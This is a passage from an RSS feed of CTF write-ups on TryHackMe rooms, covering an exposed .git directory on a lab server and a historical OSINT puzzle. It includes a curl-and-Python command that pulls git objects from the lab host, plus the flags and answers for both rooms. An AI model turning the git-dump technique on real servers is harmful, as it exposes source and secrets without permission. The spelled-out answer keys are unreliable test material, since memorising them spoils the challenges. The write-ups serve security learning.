| 100644 | index.html | 0a12caa4e52a965e89e5eccf5760924b21aacbf7 |&lt;/p&gt;


&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4 — Fetch and Read Each File&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;README.md&lt;/strong&gt; — contained the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP:8080/.git/objects/a5/965c580fee91d852e5b19a8290da02d2926523&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"import zlib,sys; data=zlib.decompress(sys.stdin.buffer.read()); null=data.find(b'\x00'); print(data[null+1:].decode())"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Byte Lotus — Guest Experience Platform

Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.

Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;app.js&lt;/strong&gt; — front-end stub, no flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;index.html&lt;/strong&gt; — same as the homepage, no flag.&lt;/p&gt;




&lt;h3&gt;
  
  
  Tools Used
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;curl.exe&lt;/code&gt; — HTTP requests&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;python3&lt;/code&gt; — decompress git objects (zlib)&lt;/li&gt;
&lt;li&gt;Manual git object traversal (commit → tree → blobs)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Vulnerability
&lt;/h3&gt;

&lt;p&gt;A &lt;code&gt;/.git&lt;/code&gt; directory exposed on a staging server. The developer committed a "remove before launch" flag directly in README.md, and the production deployment left the &lt;code&gt;.git&lt;/code&gt; metadata accessible.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>python</category>
      <category>security</category>
      <category>programming</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] The Concierge Knows Too Much</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Fri, 31 Jul 2026 06:37:23 +0000</pubDate>
      <link>https://dev.to/w1hi4/the-concierge-knows-too-much-85k</link>
      <guid>https://dev.to/w1hi4/the-concierge-knows-too-much-85k</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7nyx7m84k4001cb5c87k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7nyx7m84k4001cb5c87k.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>agents</category>
      <category>ai</category>
      <category>promptengineering</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] The Brochure</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Fri, 31 Jul 2026 06:32:45 +0000</pubDate>
      <link>https://dev.to/w1hi4/the-brochure-3oph</link>
      <guid>https://dev.to/w1hi4/the-brochure-3oph</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl6ei96kl4us2tt1dvoe8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl6ei96kl4us2tt1dvoe8.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>programming</category>
      <category>python</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] The Letter – Full OSINT Walkthrough</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Sat, 18 Apr 2026 07:28:58 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-the-letter-full-osint-walkthrough-1bhc</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-the-letter-full-osint-walkthrough-1bhc</guid>
      <description>&lt;h2&gt;
  
  
  [TryHackMe Writeup] The Letter – Full OSINT Walkthrough
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;[!NOTE]&lt;br&gt;
This is a comprehensive, step-by-step CTF writeup for the "The Letter" OSINT challenge, demonstrating historical research, image analysis, and logical deduction to find the hidden postal code and the final flag.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Room Name:&lt;/strong&gt; The Letter&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; OSINT / Puzzle&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/p&gt;

&lt;h2&gt;
  
  
  🎯 Introduction &amp;amp; Objective
&lt;/h2&gt;

&lt;p&gt;In this room, we step into the shoes of a postal worker. We intercept a battered, water-damaged letter containing a handwritten note and a torn newspaper clipping. Our objective is to piece together historical clues from these scattered fragments to answer two questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What is the postal code of the delivery address on the envelope?&lt;/li&gt;
&lt;li&gt;What is the full name and age of the person mentioned in the note? (Flag)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let’s dive into the investigation.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔍 Step 1: Analyzing the Newspaper Clipping (Finding the Date)
&lt;/h2&gt;

&lt;p&gt;Opening the zip file, we find a torn newspaper clipping from the French paper &lt;em&gt;L'Ouest-Éclair&lt;/em&gt;. The main headline describing an event is torn, so we must rely on the surrounding articles to establish a timeline. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmhpbi6dnzddrnzy7jk59.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmhpbi6dnzddrnzy7jk59.png" alt="Photograph of a torn L'Ouest-Éclair newspaper clipping showing headlines from May 1925" width="800" height="311"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we look closely at the secondary headlines, we see two massive clues:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;em&gt;"Amundsen a-t-il atteint le pôle Nord ?"&lt;/em&gt;&lt;/strong&gt; (Has Amundsen reached the North Pole?) &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;"M. Herriot se déclare solidaire de M. Painlevé"&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The Evidence:&lt;/strong&gt; A quick search for &lt;em&gt;Roald Amundsen North Pole airplane expedition&lt;/em&gt; yields the launch date of &lt;strong&gt;May 21, 1925&lt;/strong&gt;. Corroborating this, Paul Painlevé served as the Prime Minister of France starting in April 1925. &lt;/p&gt;

&lt;p&gt;We now know our mystery event took place in &lt;strong&gt;late May 1925&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  ⚓ Step 2: Identifying the Maritime Catastrophe
&lt;/h2&gt;

&lt;p&gt;Now we can return to the torn main headline. We can read:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Une catastrophe sur le [...] du Finistère"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"DEUX BATEAUX... ET DEUX CANOTS DE SAUVETAGE [...] noyés"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This translates to a disaster in the Finistère region involving two fishing boats and two lifeboats capsizing, with sailors drowning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Evidence:&lt;/strong&gt; Knowing the date and the keywords, we perform a targeted OSINT search:&lt;br&gt;&lt;br&gt;
&lt;code&gt;catastrophe Finistère canots de sauvetage mai 1925&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;[!TIP]&lt;br&gt;
Using specific keywords in French based exactly on the clipping text drastically narrows down historical archives!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The first results point directly to the tragic &lt;strong&gt;Penmarc'h Lifeboat Disaster of May 23, 1925&lt;/strong&gt;. During a freak storm, two SNSM rescue boats capsized while trying to save fishermen, resulting in the tragic deaths of 27 men. We have found our event.&lt;/p&gt;




&lt;h2&gt;
  
  
  📮 Step 3: Cracking the Postal Code
&lt;/h2&gt;

&lt;p&gt;Our first challenge question asks for the postal code of the delivery address. Let's look at the outer envelope provided in the challenge files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa7rexx8le2jiui3ja2nz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa7rexx8le2jiui3ja2nz.png" alt="Close up photograph of a water damaged envelope showing a scribbled postal code and torn holes" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is addressed to &lt;strong&gt;Édouard G.&lt;/strong&gt; at the &lt;strong&gt;SNSM&lt;/strong&gt; (Société Nationale de Sauvetage en Mer). Because the challenge revolves around his great-grandfather's heroics in Penmarc'h, it's highly logical that Édouard is stationed at the very same SNSM coastal station. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Evidence:&lt;/strong&gt; A quick lookup for the Penmarc'h postal code yields &lt;strong&gt;29760&lt;/strong&gt;. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;[!WARNING]&lt;br&gt;
&lt;strong&gt;The Rabbit Hole Trap:&lt;/strong&gt; If you look closely at the blue ink scribbled over the torn holes on the envelope, it heavily resembles &lt;code&gt;53432&lt;/code&gt;. However, any seasoned OSINT investigator checking French postal codes knows that the first two digits indicate the department. Department &lt;code&gt;53&lt;/code&gt; is Mayenne—a completely landlocked area with absolutely no sea rescue stations! The writer's sloppy cursive &lt;code&gt;29760&lt;/code&gt; was simply distorted by water damage to look like &lt;code&gt;53432&lt;/code&gt;. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Answer 1:&lt;/strong&gt; &lt;code&gt;29760&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  👤 Step 4: Uncovering the Identity for the Flag
&lt;/h2&gt;

&lt;p&gt;We need to find the specific rescuer mentioned in &lt;code&gt;Note.txt&lt;/code&gt;. The note reads:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Ton arrière-grand-père n'avait même pas l'âge de passer le permis quand il s'est distingué ce jour-là. Le benjamin de l'équipe, et certainement pas le moins courageux."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;The Evidence:&lt;/strong&gt; The note reveals our hero was the youngest of the rescue team (&lt;em&gt;"benjamin"&lt;/em&gt;) and was too young to even have a driver's license (under 18). &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]&lt;br&gt;
The legal driving age in France in the 1920s was 18, so we are looking for a teenager.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We can search historical archives of the Penmarc'h disaster for the youngest rescuer on the crews that day using a query like:&lt;br&gt;&lt;br&gt;
&lt;code&gt;sauvetage penmarc'h 1925 "benjamin" ans mousse&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The archives completely validate our theory: &lt;strong&gt;Yves-Marie Gourlaouen&lt;/strong&gt;. He served as a &lt;em&gt;mousse&lt;/em&gt; (cabin boy) on the rescue boats and went out into the deadly storm at the age of just &lt;strong&gt;15 years old&lt;/strong&gt;. He was awarded a silver medal of bravery for his actions.&lt;/p&gt;




&lt;h2&gt;
  
  
  🚩 Step 5: Formatting the Final Flag
&lt;/h2&gt;

&lt;p&gt;The challenge requires the format &lt;code&gt;THM{Name_Surname_age}&lt;/code&gt; and specifies: &lt;em&gt;"only the first letter of the name and surname should be capitalised."&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;However, they give us a formatting example: &lt;code&gt;THM{Pierre-Henry_Lagaffe_23}&lt;/code&gt;. Notice how both parts of the hyphenated first name retain their capitalization (P and H). Following this exact structural rule provided by the room creator, we map our hero into the flag format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Answer 2:&lt;/strong&gt; &lt;code&gt;THM{Yves-Marie_Gourlaouen_15}&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  🏆 Conclusion
&lt;/h3&gt;

&lt;p&gt;This was a fantastic OSINT room that beautifully stringed together real-world historical archives with deductive reasoning. It highlighted the importance of verifying visual clues (like validating post codes geographically) rather than just trusting messy handwriting at first glance.&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>ctf</category>
      <category>osint</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
